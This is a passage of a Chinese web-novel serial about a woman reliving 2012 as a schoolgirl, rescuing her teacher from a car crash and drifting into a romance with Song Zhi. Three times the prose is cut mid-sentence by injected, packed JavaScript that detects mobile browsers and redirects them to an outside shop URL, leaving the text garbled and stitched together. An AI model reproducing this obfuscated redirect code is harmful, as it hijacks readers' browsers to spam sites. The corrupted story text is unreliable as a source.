雎安有些气恼他的执着,“为什么不能在电话里说?现在这么晚了,为什么非要见面?你是想图谋不轨吗?” 嘴巴快过脑子,雎安恨不得抽自己一巴掌,她自己觊觎人家的身子,怎么还口快嫁祸到人家身上。 她这样说他,他以后又会不会讨厌她? “雎安,我已经好久没见到你了。” “如果不是你生日,我还能用什么理由来见你?如果我说,根本不是我想见你,而是我想你的话,你愿意见我吗?还是说......” 宋挚越说越激动,语气快要变成质问的时候,电话的那头传来了忙音。 雎安把电话挂了。 她明明听到了她想听到的话,从她喜欢的人嘴里说出来,此刻却难过到无法呼吸,捂着闷赌的胸口跌坐到地上,任由眼泪一滴接一滴地滑落。 电话没再打来,雎安也没出去。 她只是哭,一直哭,哭得撕心累肺,哭得酣畅淋漓。 以前看电视剧,碰见这种爱而不能爱的剧情,她总是会吐槽,就不能勇敢得面对自己的内心吗?就不能爽快点解决吗? 可事情发生在自己身上时,她才发现,原来一切都那么难。接受意味着违背诺言、背叛周浮沉,拒绝意味着要将自己的爱和希望都击碎。而今,只有纠缠最简单,背着越来越深的痛和纠结,却能让她得到短暂的快乐。 这快乐,因为带着危险的刺激感,让她精神紧绷、欲罢不能。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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因为我想告诉你,除了一生的守候,还有我爱你。 再一次,她哭了。 一滴滴豆大的泪珠不受控制地落在卡片上,将卡片上的字迹晕染得模糊不清。 雎安看到后,赶忙用手去擦,结果字迹却越来越模糊,她哭得也愈加激烈,卡片上的眼泪也越来越多。 明明只要将卡片拿开就好,她的大脑却像是宕了机,眼睛紧紧地盯着“我爱你”那三个字,任由眼泪将其晕开,变得越来越模糊。 “别哭了。” 宋挚突然从消防门后出现,上前一把将雎安拥入怀中。 他实在不忍心,无法忍受自己就这么在暗处看着,看着她眉头紧锁,看着她弯腰哭泣,看着她咬唇抑制哭声却频频失败的模样。 不绅士又如何,被认为图谋不轨又如何?绅士的他,连她的面都见不到。 “雎安,我们在一起吧。”宋挚弯下腰,将雎安揽入怀中,附在她的耳边说:“你是喜欢我的。” 不是疑问句,而是肯定句。 “虽然我不敢说未来会怎样,但当下,我是真心的,我想一直陪伴在你身边,希望你能开心幸福,冷暖有人在意,快乐有人分享,痛苦有人分担,事业有成,财运亨通,所愿皆得。” “雎安,生日快乐!” 如果刻意避开不见就能阻挡情意的话,雎安此刻也不会这么崩溃,就好像嘴里同时含着蜜糖和黄连,一个极致甜蜜,一个极致苦寒。 她没有回应宋挚,只将头埋在他的怀里,贪婪地享受着这份温存,感受着宋挚急促的心跳。 就在宋挚以为他表白成功的时候,她泪眼婆娑地推开了他,“不,不行,我不能和你在一起。” 闻言,宋挚完全不能接受,上前一步抓着雎安的手肘,澄澈的双眼里已经含着泪,“为什么?” “如果你是怕受到周浮沉的谴责,我保证,我能和他说清楚。” 应是没想到雎安脑子这么糊涂,竟是一点也不遵从自己的内心,宋挚嗤笑一声,道:“如果你是在顾及周浮沉的感受,我可以不声张。等你和他说清楚,等他接受了,再公开我也行。” 说这话时,他气恼,他愤怒,其中还有赌气的成分在。 可说完以后,他仔细一想,这方法既能让他们立马在一起,又能给到周浮沉缓冲的时间,这样也不失为一种办法,遂语气平和了许多,甚至还有些病态的深情,“至少你需要我的时候,我在你身边。” 语毕,他捧起雎安那满是泪水的脸颊,用拇指轻轻为她拭去眼泪。他的动作很轻、很柔,像是在触碰着易碎的无价珍宝。 紧接着,他的唇逐渐贴近雎安,在即将亲吻的那刻,他的眼睫一动,克制地将吻落在了雎安的额头上。 这一吻很温柔,温柔得像是羽毛轻落,同时又很粗暴,粗暴得像是一把铁锤在敲击着雎安的理智和防备。 最终,她败下阵来,却又不敢面对。 “别碰我!”混乱的思绪化为无名的怒火,她推开宋挚,逃回了她的乌龟壳。 ———————— 记忆到这里结束,雎安抬眼看到一张极为稚嫩的帅脸时,猛地一惊,推开了12岁的宋挚,逃回了她的家。 躺在床上的雎安脑子很乱,很乱! 如果说,第一次突然出现的记忆可以解读为,她因为馋宋挚的容貌而伪造的脑内小剧场,那这第二次的记忆是怎么回事? 内容这么劲爆,还是如此强势的男追女,似乎......还打算发展一段见不得光的关系? 不对!这绝不是她能凭空想象出来的剧情。 除此之外,还有一个重点。 雎安拿起床上的枕头,一通狂揍。 那就是,周浮沉是谁?她和他到底是怎么一回事啊!! 7. 太好了,她还活着! 2012年的中秋佳节。 现在已经过去了无数个两小时,也不知道这次实验什么时候会结束,兴许就在下一秒,兴许是在一个月后。 总之,装置里的时间必定和现实不同。 雎安懊悔自己来之前没问清楚,想当然的觉得时间流速是一样的,此刻只能苦恼地摆着张苦瓜脸坐在桌前,引得邹伟聪十分不满。 “大过节的,干嘛摆着个脸,谁欠你啊?!” 被邹伟聪这么一吼,雎安彻底回过神来。 现在最紧要的,是拿到钱。 “爸,我能先支取50块零花钱吗?” 雎安去房里的小抽屉里翻过,只翻出零散的七块五。 听到钱,邹伟聪和纪小梅瞬间变得警惕,异口同声地问道:“你要钱干嘛?” 雎安撒谎,“我和朋友约好,下周一起去市中心的新华书店买学习资料。” 雎安是典型的好学生,而且她确实会自己买资料加练,所以这理由相当合理。虽然,她的学习成绩一直都不拔尖,不过这都是后话了。 邹伟聪眉头一皱,不满道:“我记得你刚开学那会儿才买过一次,你写完了吗?成绩上来了吗?我看你是想打着学习的名义出去玩,拿钱去买漫画吧。” 此路不通,雎安也懒得和邹伟聪辩。毕竟,她现在确实就是只能伸手拿钱的初中生,只得换个理由,“那我提前支取50块零花钱,行吗?我真的是和朋友去新华书店,饿了可能会在附近吃点东西,我身上不能一点钱都没有。” “支取?钱是这么容易赚的吗?!” 邹伟聪突然就炸了,和2023年的他无甚差别,“50块钱!你知道我一个月赚多少钱吗?之前你胡搅蛮缠,才答应你一个星期给你10块钱,现在又来要50,以后岂不是敢要100、1000?!” 雎安忘了这是2012年,工资和物价水平应该都还没那么高,但她不确定她需要多少,还是拿多一点比较保险。 只是,现在看来,她一分钱都拿不到了。 因为不止邹伟聪,连纪小梅都加入了训斥她的行列中,一起抱怨着她的不懂事,抱怨着养育雎安的成本越来越高,抱怨着家庭开销也越来越大。 虽然这些话她从小就没少听过,但正因为每一次听,两人尖锐的声音和口无遮拦的争吵都像是在用小刀刮划她的心脏,她的身体已经有了应激反应。 “好了!”雎安额前冷汗直冒,“别吵了,知道你们辛苦,我不用钱了。” 她的反应和话语引得邹伟聪不满,她的妥协更像在挑战家长的绝对权威。 纪小梅倒还好,只是一直在说外边的东西不干净,让她回家吃饭。 邹伟聪就扯得很远,开始数落雎安中等的成绩、不够规整的牙齿和脆弱的肠胃,因为这些都意味着要花钱。 教训了一顿饭的时间,雎安坐在桌上生无可恋地强忍,额前全是细汗。直到纪小梅察觉到异样,才让她去房间休息。 雎安假意闭目休憩,在纪小梅转身去厨房洗碗、邹伟聪翘着个二郎腿在客厅看电视的时候,摸进他们的房间,偷了100块,还顺走了纪小梅的手机。 她当然知道偷东西不对,可她分析情况和权衡利弊后,还是决定下手。 做完这一切,她回到房间拨打电话。 是叶扶英的号码,虽然她早就猜到叶扶英不会听自己神神叨叨的劝告,但在听到她已经出门有十分钟的时候,雎安还是忍不住咒骂一声。 “同学,你怎么了吗?” 清朗的少年音再一次传来,雎安才认出这是宋挚的声音。 “叶老师的手机怎么在你身上?你和老师待在一起吗?”雎安问。 宋挚看眼身后的邓庆生,挥手示意,这不是邓玉瑛的来电,“没有,是叶老师忘记带手机出门了。” 雎安又问,“她骑电动车去的吗?” 宋挚疑惑,“不是,她开的是我舅舅的车。” “什么牌子的车?”雎安的语气有些急,“车牌号告诉我。” 这回,宋挚不再乖巧地回答,转头向身后的邓庆生求助。他倒不是不知道这些信息,而是觉得雎安问这些很奇怪,尤其是她前面才问了叶扶英的去向。 “算了,谢谢你。”意识到宋挚不会说的那刻,雎安果断挂了电话。 看来,她这趟是非去不可了。 接下来,雎安便蹲在房门口等候,等候一个时机。 天助她也,仅仅过去两分钟,邹伟聪便起身去上厕所。听到关门声后,雎安确认时机已到,拿起帆布包和薄外套,“咻”一声溜出门。 ———————— “对,没错,就是这条路。”雎安坚定地指着右边的那条小路,朝黄斌说道。 黄斌收到指令,顺从地将他的三轮车转向,内心的疑惑却不降反增,“小姑娘,你确定吗?你可看仔细了,今天可是中秋节,怎么会有人跑来这爬山啊?” “不是爬山。”雎安解释,“应该是有什么事,我得赶紧找到她。” 见小姑娘是真着急,黄斌也不再多问,想着这姑娘看着和自己儿子一般大,胆子却这么大,一个人跑到这荒郊野岭说要找她的老师。要是碰见的不是他,而是什么图谋不轨的歹人,那后果真是不堪设想。 想着,黄斌没忍住,再度开口,“小姑娘,你这样跑出来太危险了。你老师毕竟是大人了,她能处理好她自己的事,你还是早点回家吧。” 闻言,雎安的视线从手机上挪开,转而看向眼前的中年男人。 他的皮肤黝黑,眼纹和法令纹都格外得深,身上穿着一件质感极差的土黄色薄衫,长袖衫上甚至有一处补丁,衣领处起了不少毛球,脚下的蓝色布鞋泛着陈旧的黄白色,鞋底的磨损则更为严重。至于他的三蹦子,即便刷得很干净,但车身上仍留下了很多岁月的痕迹,雎安猜不到这车的岁数,只觉得这车有散架的风险。 至于她为何如此胆大,她自己都不知道。 从家里打车到这鸟不拉屎的山脚,连小车司机都不想上山,她自己也一阵发怵,可还是忍着害怕拦下路过的黄斌,给他三十块,拜托他送她上山。 是啊,如果出租车司机或黄斌是坏人的话,她该怎么般? 因救人心切而忽略自身安全,雎安现在才一阵后怕,面上却不敢显露丝毫,“阿叔,你说得对。可我都到这了,我得去救我的老师!” “真好。”看着雎安坚定的表情,黄斌感慨,“像你这么重情重义的孩子,现在可不多了。不过,你怎么不打个电话给你老师?或者报警处理也好啊。” 雎安握着2012年的安卓触屏机,气恼它再度卡死,这触屏灵敏度和运行速度与23年的手机比,简直就是块板砖。 “她没带手机。至于报警,绝对不能报警!因为我不知道她会在哪出事,具体的时间我也不知道。不过,应该是现在,就在这附近。” 其实是2023年翻出的旧新闻报道得不够详细,导致雎安无法获得详细信息。 这话...... 配合着他们碰到死路这件事,黄斌紧张得冷汗直冒,在听到雎安说返回原路、走另一条道的时候,错把刹车到油门,颠得雎安往前一倾。 “抱......抱歉。”黄斌顺着她的话返回原路,怀疑起雎安的精神状态来,想着她会不会是从精神病院出来的,惊觉她才是一级危险人物。 察觉出黄斌的害怕,雎安怕他会找借口将她丢在这半山腰,故而解释道:“这是我的预感,我的预感一向很准。” “你搞牛鬼蛇神那套的啊?”雎安的解释反倒让黄斌更加紧惕,以前他在乡下,就碰见过不少装神弄鬼的江湖骗子,那些骗子很爱蒙骗老人喝符水、说是能治病。 雎安摇头否认,“我不搞那些,就是预感很准而已。” “那我最近需要注意些啥?比如,有没有不能靠近的东西之类的。”黄斌随口一问。 “呃……”雎安眼神闪烁,“我和你不熟,所以感应不......” 话音未落,前方传来“砰”的一声。 雎安半蹲起身,想要寻找声音的来源。 周围的环境很是眼熟,雎安和黄斌环顾四周,确认他们是方才的岔路口。 而声音的来源,就在岔路口左侧的那条小路。 雎安思考片刻,跳下了三蹦子,“阿叔,你车就停这吧。我打算从草丛那潜进去看看,万一有什么不测......麻烦你帮我报警。” 是啊,万一她有生命危险的话,她会这样?实验会怎样?但肾上腺素飙升的她根本没有心思去细想这可怕的后果。 闻言,黄斌变得极度不安。 明明是下午三点,太阳当空。前方的小路却是幽深莫测,透着一股寒气,仿佛踏进去,就会被其吞噬。 虽然他心里清楚,这是他的害怕心在作祟,那的光线昏暗不过是因为道路两侧树木密集且枝叶繁茂,阳光想找缝隙穿进来都费劲。 “不行!”黄斌用粗粝的双手抓住雎安的手肘,力度很大,一副绝不放手的架势,“你这样太危险了,歹徒可能会杀了你,草丛里和树上也可能会有害人的东西,我不能让你去送死。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15903030|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可我......”雎安话还没说完,黄斌直接插话,“我说实话吧姑娘,我怕你死了,警察会怀疑到我头上啊!” 咕隆咕隆,呜呜呜~ 听到汽车发动机响动的声音,雎安赶忙拉着黄斌躲进草丛。 就在他们刚蹲下的瞬间,一辆小车如疯牛般从小道冲了出来,速度快得惊人。雎安盯着小车远去的方向,除了飞扬的尘土,似乎还能看到车身的残影。 “这是犯人?”黄斌汗流浃背。 雎安点头,笃定道:“这里这么偏僻,都没见到其他人和车,更何况,他还开这么快,肯定是在逃跑。现在就希望他没注意到你的三蹦子,但这也说不准,我们还是先不要出去,蹲一会儿,看看他会不会返回来。” 幸运的是,黄斌的三蹦子停在右侧小路的路口,那有棵树遮挡,很可能会形成视线盲区。而小车从阴暗的小道冲出来的那刻,阳光短暂地打在驾驶座那人的脸上,雎安还因此看到了他的长相。 时间虽短,五官一晃而过,雎安并不知道是谁,但她觉得眼熟。 “已经有五分钟了吧。”见雎安沉着脸不说话,黄斌忍不住开口提醒,“这都是蚊子和蚂蚁,我脚好痒~” 黄斌不说还好,一说,雎安觉得自己裸露在外的小腿也变得奇痒无比。 “走吧,阿叔。” 雎安扶着黄斌从草丛里出来,两人十分默契地到三蹦子上各就各位。 黄斌负责开车,雎安负责观察四周。虽然因为光线昏暗,能见度很低,但车子开出去一分钟后,雎安就看到了不远处飘出的乳白色雾霭,耳边是机车发动的声音,空气中还充斥着烧木头的焦味。 “阿叔!” 雎安刚要提醒黄斌,黄斌就朝着她手指的方向去了。 起初,雎安以为是着火了。 当他们抵达现场后,先是耳边响彻着“滋滋滋嘟、滋滋滋嘟”的声响,靠近些后,才看清是一辆黑色小轿车的车头撞到路边的一棵大树。 只是,小车并没有因此停下,它的轮胎仍在不停地打转,疯了似的往树干上怼,车身和树干持续摩擦,不断有刺鼻的气味冒出。 更恐怖的是,现场烟雾缭绕,有一种随时会爆炸的即视感。 虽已是不惑之年,黄斌仍被眼前的场面吓到,呆立在原地,“这......这是你老师的车吗?” “不管了,先救人。” 语毕,雎安冲到身后的草丛里翻找出一块拳头大小的石头,然而飞奔到车前,深吸一口气,蓄力砸向驾驶座边的车窗。 以往她每天通勤坐的都是公交车,经常能看砸窗逃生要砸四角的提示,但此刻操作起来,却远不像她想象中的那般顺利,兴许是她力气不够,兴许是因为石头没有尖端,她连击三次都没能破开窗户。 “愣着干嘛?!快来帮忙啊!” 被雎安这么一吼,黄斌回魂成功,转身就往草丛地跑,期间趔趄了好几次,但还是顺利地翻找出一块带尖端的石头,拾起后疾速往雎安身边跑。 此刻,他跟前的小姑娘咬紧下唇,手臂青筋凸起,如疯狗撞墙般高频率地凿打车窗。 可惜的是,车窗只破开几个小洞。 “让我来!”就在黄斌企图上手的那刻,车窗突然破裂成明显的碎块。 噼啪哗啦啦啦~ 黄斌被车玻璃尽数碎裂并摔落在地的场景吓一跳,下意识地后退两步。只是,他后退的动作虽快,却没想到手背会被飞溅的玻璃碎片划伤,故而吃痛地“嘶”了一声。 他捂着手,以为雎安会是和他一样的反应。然而他睁开眼,看到的却是小姑娘伸手去够开门键的画面。 她的右手手掌和小臂处有好几处伤口,流了不少的血,血落在黑色的车上,很快便没了颜色,就如此刻的她,好似毫无痛感般,甚至在用右手去拉车门,探身进去将叶扶英拖到车外。 “太好了,她还活着!” 在雎安雀跃的欢呼声中,黄斌毫不犹豫地上前帮忙,从雎安手中接过缓慢睁开了眼的叶扶英,一路小跑着将其抱到三蹦子的后座上。 紧接着,他疾步往驾驶位走去,以为雎安就紧跟在他身后,头也不回地启动车子。 直到一声鸣笛响起,他才猛踩刹车,回身看去,发现雎安坐在小车的驾驶位上一通操作。 他不知道她做了什么,车轮竟不再打转,嗡鸣声消除,现场瞬间变得格外寂静,好像进入了另一个世界。 “你好,是接警中心吗?我要报警。” 在这个世界里,有一个十三岁的少女破开迷雾,朝他们奔来。 8. 一个清浅的吻 晋江文学城 华州市第一人民医院内。 雎安时而看看叶扶英的点滴打完了没,时而环顾病房内的布局,时而凝望窗外大树上的鸟窝,最后实在无聊,干脆对着闭目休憩的叶扶英发呆。也不知她看了多久,直到眼睛逐渐失焦,直到叶扶英的面容变得越来越模糊。 眨眼间,她看到了自己的脸。 她躺在病床上,缓缓睁开了眼,慢慢抬起左手,左手吊着点滴,抬起右手,右手戴着一条接口接得相当难看的红绳。 床边坐着一个人,她看不清他的五官,却能感受到他的焦急与担忧。她想伸手去触碰他,但身体太过沉重,半抬起的手臂又落了下去。 “你醒了?!”宋挚站起身,一把抓住雎安往下落的手,“好点了吗?” 说着,他的脸贴了过来,伸手触摸雎安的额头,“还是好烫。” “我怎么了?”雎安的声音很虚弱,“很严重吗?” 宋挚摇头,语气很是温柔,“医生说是登革热,你会有些难受,但问题不大。” “登革热?”雎安皱眉,露出很委屈的表情,“难怪我这几天总是头疼,身上也疼。” “你都快烧到40°了。”宋挚语带嗔怪,但为她擦拭额前细汗的动作却格外轻柔,“幸好你没事,不然我怎么办?” 雎安被他的话逗笑,“你这话,怎么那么像是在拍电视剧啊?” 宋挚却是笑不出来,郑重其事地道:“雎安,我不能失去你,绝对不能,不然我会疯掉的。” 这话......雎安很不厚道地想到了自己前几天还在看的言情剧,里边的男主就总爱说些霸道又绝对的话向女主表白。雎安每次看到,都是一副又羞耻又激动的表情,还会忍不住掐宋挚的手臂。 宋挚见她如此,兴许是吃醋,兴许是想她高兴,还效仿过几次,弄得他自己和她都脚趾抠地、面红耳赤。 只是,此刻宋挚的表情太严肃,语气也格外认真,雎安感知到这其中并没有玩笑的成分,短暂的沉默后,她紧紧地抓着他的手,直到他的手发红发麻,才出声道:“我不会离开你的,除非你做坏事,除非你赶我走。” “那你这辈子都离不开我了。” 宋挚话音刚落,两人身后就传来护士的咳嗽声。 护士见腻歪的两人终于分开,而那男生的手都被女生抓红了,暗自咋舌:年轻小情侣就是腻歪! 随即,她一边更换点滴,一边以公式化的语调提醒道:“病人家属要让病人好好休息啊!还有待会午餐的时候,病人即便没胃口,家属也得督促她多吃些瓜果蔬菜,身体才能恢复得快。” “好的谢谢。”宋挚恭敬地道谢,甚至在护士离开时躬了躬身。 五分钟后,宋挚起身离开。 雎安应激般,张口就问:“你去哪?” 宋挚失笑,将手中的小刀和苹果举高高。 见状,雎安嘟起嘴,面露不满,“把东西放下,你过来。” 宋挚一愣,随即乖乖照做。 他很喜欢雎安命令他做事情,因为这意味着她有求于他,亦或是,她想撩他。但不论是哪种,她都会因此付出“代价”。 果不其然,宋挚才坐下,雎安就迫不及待地伸手,用她那葱白似的手指一把揪住宋挚的耳垂,还用力地揉搓几下,“笨蛋,我不要冷苹果,我要喝热乎乎的红豆粥。” 有食欲是好转的预兆。 闻言,宋挚笑了,侧头在她手心处落下了一个清浅的吻。 一阵猛烈的风突然袭进室内,将蓝白色的窗帘高高吹起,雎安背部蓦地一僵,因为她感觉有谁在触碰她,她很确定那不是风。可当她僵硬回头,如怒吼声般的风声和如人手般的触感再一次出现。 原来,是风将窗帘高高吹起,打到了她的背。 悬着的心终于放下,她回头看向病床,床上的人已不是她,而是沉睡着的叶扶英。 刚刚她所幻视的画面,变成了她的记忆,刻在了她的脑海里。 就像在玩一款游戏,强势地给她植入一段记忆和感受,仿佛画面中的人就是她,但又不是她。 “扶英这是怎么了?你对她做了什么?!” 就在雎安刚松一口气的时候,一双宽大有力的手掌猛地抓住她的双臂,将她从座位上提起来。 紧接着,印入眼帘的便是邓庆生激愤的面庞。 雎安想要解释,可邓庆生的眼中透露出的狠厉和强悍,让她不自觉地往后缩,想要和他拉开一段距离。只是,雎安越是显露出害怕和局促,邓庆生的目光就越是锐利,越是不遂她的意,似是想逼她在高压下说出实话。 “舅舅,我问了护士。送舅妈到医院救治的人,就是这位同学和门口的那位大叔。您不该这样吓她。” 少年骨节分明的手尚不能用宽大来形容,过于修长的手指显得他有些瘦削,倒像个使不上劲的白面书生。可他小臂上显露的青筋和邓庆生些微吃疼的表情却证实着,他此刻摁住邓庆生手臂的手,使出了远不符合他身形的气力。 明明是这般青涩稚嫩的脸,可雎安却在他的身上看到了成年宋挚的身影。 “就是啊!”黄斌上完厕所回来就撞见这一幕,心都寒了一半,“小姑娘才多大,好心救人弄得手上都是伤。你还这么不分好赖,莫不是......” 黄斌露出警惕的表情,声音微微打颤,“还想讹我们钱?” “不是钱的事,我不缺钱。”邓庆生放开雎安,给宋挚一个警告的眼神,随后带着压迫性的声音便从雎安头顶传来。 “小同学,前两天是你和扶英说,她不能出门,更不能去华州财经大学附近,是吗?” 雎安点头,“是。” 邓庆生接着问道:“扶英有和你说过,她今天要去哪?” 雎安凝思几秒,“没有。” 此时,邓庆生的视线已经变得极为锐利,如尖刀般架在雎安的脖颈上,“那你是怎么找到扶英的?难道你的预感自带导航?” 对哦! 雎安这才反应过来,华州财经大学的新校区于2016年开始施工,2017年让第一批学生入校就读。可现在是2012年啊,那附近根本就没有大学。 完了完了,她露馅了! 咚咚,咚咚! 敲门声响起,雎安立即望向门口,发现那多了两个人,一个是身着黑色短袖的中年男人,和一个身穿棕色短袖的年轻男人。 他们从兜里掏出警官证向黄斌展示,随即询问:“你好,是你报的警吗?” 黄斌愣了两秒,摇头道:“不是我,是那姑娘。” 语毕,那两个警察顺着黄斌手指的方向,齐齐看了过来,但他们的视线却没有落在雎安的身上,而是被邓庆生和宋挚吸引。 穿棕色短袖的年轻男人更是直接问道:“庆生?你和阿挚怎么在这?” 原来他们认识,那见面总得寒暄寒暄吧。 雎安眼咕噜一转,趁着这个空挡赶忙想理由,祈祷一会儿能搪塞过去。 “出事的人是我的未婚妻,她叫叶扶英。”邓庆生略过雎安,走到叶扶英身边,轻柔地抚平她紧皱的眉头,“阿挚是陪我过来的,待会我爸妈也会过来。” 紧接着,他突然回身看向雎安,冷不丁地来一句,“你还没回答我的问题。” “啊?”雎安一惊,在王屹和宋挚探究的目光中顺了口气,说出事先准备好的说辞:“我说的重点是,不能出门。至于叶老师出门后会去哪里,她的想法会变,我的预感也会变。” “什么?” 邓庆生显然对这个回答并不满意,唇角的一抹讥笑似乎是在质问她,你这小孩怎么敢当着两个刑警的面糊弄另一个刑警? 雎安赶忙补充道:“真的,之前我就总觉得家里厕所的那块装饰木板会掉下来。我爸不信,检查了说没事,就是不肯拆。结果在我小升初考试的那天,我爸上厕所的时候被木板砸到,疼了很久,还很后怕地说他差一点就死了。” 好吧,事情的真相其实是,雎安发现了松动的螺丝。但邹伟聪嘴硬且自信,因为是他安装的木版画,敷衍式的检查后,坚称螺丝绝不可能没打好,最后被砸伤了,还说是雎安乌鸦嘴导致的。 雎安倒不怕警察问,因为他爸始终坚信是她乌鸦嘴,逢人就抱怨她整天躲在房间里神秘兮兮的不知在做些什么。 非常符合神婆的人设。 “不信的话,你们可以去问我的父母。” 雎安再度补充后,在邓庆生审视的目光中,身体不自觉地往后仰。 只是,这次不等邓庆生回应,王屹和那名中年警察就先将其拉开,嘀嘀咕咕地说了些什么。随后两名警察将雎安和黄斌带离病房,他们在一众好奇的打量中,被带到一间无人的行政办公室内问话。 虽然雎安和黄斌并非嫌疑人,也说了有个极其可疑的男子开快车逃离现场,但那两名警察一直揪着‘他们为何会出现在那里’不放,不断地重复询问以确认各项细节,从雎安一个初中生为何知道小车的基础操作,到他们躲避小车时是蹲在哪片草丛,类似的问题都问了两遍。 询问的过程实在不算愉快。 不论是对雎安而言,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15903031|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是黄斌,亦或是那两名警察。 明显,警察是对他们某些无厘头的回答不满,而他们是对警察的着重点不满。 “认得小车的品牌吗?” “不认得。” “有看到车牌号吗?” “没有。” 雎安和黄斌回答得异口同声。 问完最后一个问题,中年警察先将黄斌送了出去,留下雎安和王屹。雎安猜测中年警察是邓庆生和王屹的师父,三人的审讯风格大差不差,都不是柔和的风格,都有些咄咄逼人的意味。 “小妹妹,你有话要对我说吗?”王屹轻敲桌面。 雎安随着声音回头,注意力重新回到他身上,“说什么?” “如果有人告诉了你什么,亦或是你无意间听到过、看到过什么,都可以告诉警察叔叔。”王屹低眼看她,笑得极其柔和,“不用怕。” 好吧,敢情还在纠结她为什么会去那山卡拉的地方。 最后,雎安走出办公室的时候,王屹告诉她,她的家长会在半小时之后到,让她在医院等着。 询问期间她主动交代了偷钱和手机的事,被叫家长是意料之中。只是一想到邹伟聪和纪小梅暴怒的模样,还是忍不住打了个寒噤。 既然要等,那不如回去看看叶扶英,说不定她已经醒了。 这样想着,雎安走到病房门口,站定在门前,刚准备敲门进去,便听到里头传出阵阵欢声笑语,不由地缩回手,探头往里看。 叶扶英醒了,身边站着邓庆生和两对夫妻,一对是中年夫妻,另一对则年轻得多,宋挚独自一人站在稍远些的墙角。 忽然,雎安瞪大双眼,发现其中有一个极为熟悉的面孔时,便忍不住投以目光打量确认。 那是......宋教授? 眼前这人脸颊尚且饱满,没有疲态,没有浓重的黑眼圈,听到妻子嗔怪中带着撒娇意味的玩笑话,笑得更是满面春风。 怎么看都很幸福,和那个整日愁眉苦脸的宋教授相差甚远。 “对了,我刚刚怎么看到,阿挚的裤子上有一摊红色的印记啊?”叶扶英关心起一旁的宋挚来,“不会是受伤了吧?” 提到他,宋挚便走近了些。 “放心吧扶英,阿挚没事。”邓玉瑛拍拍宋挚的肩,笑着说道:“是他班里有个女生来月经漏在椅子上,不仅没得到帮助,反倒被同学嘲笑孤立。他就和浮沉、浩晨商量着一起发声,主动染红裤子,号召大家停止月经嘲笑。至于画成红蜘蛛,当然是我的想法啦~既有个性,穿出门也不会奇怪,正好还可以展示一下我的绘画水平。” 紧接着,便是一片夸赞,有夸宋挚是有思想、敢作为的,也有夸宋言林和邓玉瑛教育有方的,声音此起彼伏,却没有虚与委蛇,更没有明嘲暗讽。 雎安站在门外,看着眼前的场景,心里说不出是什么滋味,只觉得口中泛甜,又好似泛着酸。 要不是亲眼所见,她从未想过这世上会有这般温柔的男生,明明是在暴躁易怒的青春期,他却浑身透着如白玉般温润的气质。 如果她是那个女生,一定会无可救药地爱上他,然后便远远看着,将暗恋他的心事深藏于心。 至于这般美好的家庭氛围,她是万万不敢想的。 “雎安?”叶扶英率先发现了隐在门后的雎安,朝她招手道:“快过来,让老师看看你。” 随即便是众人投来的视线。 雎安此刻眼中泛着泪光,试图将自己的脸埋进阴影里,遂局促地摇头,没有挪动脚步,“老师,我就是来看看您醒了没。既然您醒了,我就不进去打扰了。” “别。”邓玉瑛一把叫住雎安,往她这边走来,“你就是救了扶英的女孩吧?” 雎安下意识地往后退,“是我。” 邓玉瑛从兜里掏出1000元,塞到雎安的口袋里,“妹妹,你真勇敢!来,把钱收着,拿去买你喜欢的东西。” 不经意间,对上邓庆生含笑的眼眸,雎安像是触到烫手山芋般将钱推回去,但邓玉瑛却执意要给,感叹道:“你啊,真是和刚刚那个大叔一样倔。” 对哦! 雎安忽地想起什么,顾不得和邓玉瑛客气寒暄,拔腿就往外跑,五张卷起的纸币因此跌落在地。 紧接着,似是一阵狂风掠过,眨眼间,蓝白地板上的钱已消失不见。 速度之快,病房里的人几乎都没反应过来。 叶扶英惊诧地问道:“刚刚是什么东西过去了?” 也不知笑点在哪,邓庆生竟是捧腹大笑,“阿挚,是阿挚,他追出去了。” 9. 不要寒了她的心 停放在医院大门右侧的三蹦子早已不见踪影。 雎安弯腰扶膝,喘着粗气,神情落寞地看着那处空荡荡的位置。 “大叔说他着急回家过中秋,就不等你了。” 雎安循声回头,看到了和她一样气喘吁吁的宋挚,他的手里握着一卷红色的纸币,是她拒收的1000块。 “你还不能走。”见雎安站起身后似乎就想走,宋挚上前两步,握住她的手腕,在雎安震惊的目光中,举起她的手,“你的手在流血,必须得去处理。” 感受到少年掌心的炽热,雎安下意识地想收回手,但她只稍一用力,便感受到了手心和手腕处传来的痛疼。 她这才低头细看自己的手心,发现有一处极其明显的伤口,手腕处有不少细密的划痕,而她从小没做过什么粗活,手如柔荑,肌肤胜雪,此刻在溢着鲜血的伤口的点缀下,看着格外瘆人。 “刚刚我妈应该是没注意到你手心的伤,塞钱给你的时候扯到了伤口。”宋挚轻轻掰开雎安手指,动作很轻柔,“挺严重的,不处理的话,可能会感染。” “刚刚那个大叔呢?”雎安询问,“他的手也受伤了,你有没有看到他去处理伤口啊?” 送叶扶英来医院的路上,雎安注意到了黄斌手背上的伤口,虽然伤得不深,但黄斌是干粗活的人,可能会习惯性地用手背擦汗。 雎安怕他的伤口会因此感染,她在病房等叶扶英醒来的时候,就一直让他去处理伤口。可黄斌却推辞说这只是小伤,一直找借口推托。 雎安想,肯定是因为钱。 